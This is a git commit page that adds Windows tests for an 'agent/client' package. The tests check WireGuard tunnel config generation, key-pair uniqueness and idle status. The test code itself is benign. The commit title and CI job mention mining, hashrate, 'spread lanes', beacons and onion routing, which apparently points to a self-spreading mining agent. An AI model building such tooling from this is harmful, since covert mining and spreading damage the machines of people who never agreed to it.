Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
66
agent/client/pathtracer_windows_test.go
Normal file
66
agent/client/pathtracer_windows_test.go
Normal file
@@ -0,0 +1,66 @@
|
||||
//go:build windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestPathTracerWindowsBuildWGConfigDefaults(t *testing.T) {
|
||||
conf := buildWGConfig("privkeyB64=", WGConfigPayload{
|
||||
LocalAddress: "10.66.0.2/24",
|
||||
ListenPort: 0,
|
||||
Peers: []WGPeerEntry{{
|
||||
PublicKey: "peerPub=",
|
||||
Endpoint: "203.0.113.5:51820",
|
||||
}},
|
||||
})
|
||||
for _, want := range []string{
|
||||
"[Interface]",
|
||||
"PrivateKey = privkeyB64=",
|
||||
"Address = 10.66.0.2/24",
|
||||
"ListenPort = 51820",
|
||||
"[Peer]",
|
||||
"PublicKey = peerPub=",
|
||||
"Endpoint = 203.0.113.5:51820",
|
||||
"AllowedIPs = 0.0.0.0/0",
|
||||
"PersistentKeepalive = 25",
|
||||
} {
|
||||
if !strings.Contains(conf, want) {
|
||||
t.Errorf("config missing %q:\n%s", want, conf)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTracerWindowsGenerateWGKeyPairDistinct(t *testing.T) {
|
||||
priv1, pub1, err := generateWGKeyPair()
|
||||
if err != nil {
|
||||
t.Fatalf("generateWGKeyPair: %v", err)
|
||||
}
|
||||
priv2, pub2, err := generateWGKeyPair()
|
||||
if err != nil {
|
||||
t.Fatalf("generateWGKeyPair second call: %v", err)
|
||||
}
|
||||
if priv1 == "" || pub1 == "" {
|
||||
t.Fatal("expected non-empty keypair")
|
||||
}
|
||||
if priv1 == priv2 || pub1 == pub2 {
|
||||
t.Fatal("expected distinct keypairs across calls")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTracerWindowsWGIsActiveFalseWhenIdle(t *testing.T) {
|
||||
WGTeardown()
|
||||
if WGIsActive() {
|
||||
t.Fatal("WGIsActive should be false with no tunnel")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTracerWindowsWGStatusNoTunnelWhenIdle(t *testing.T) {
|
||||
WGTeardown()
|
||||
status := WGStatus()
|
||||
if !strings.Contains(status, "no active tunnel") {
|
||||
t.Errorf("expected idle status, got %q", status)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user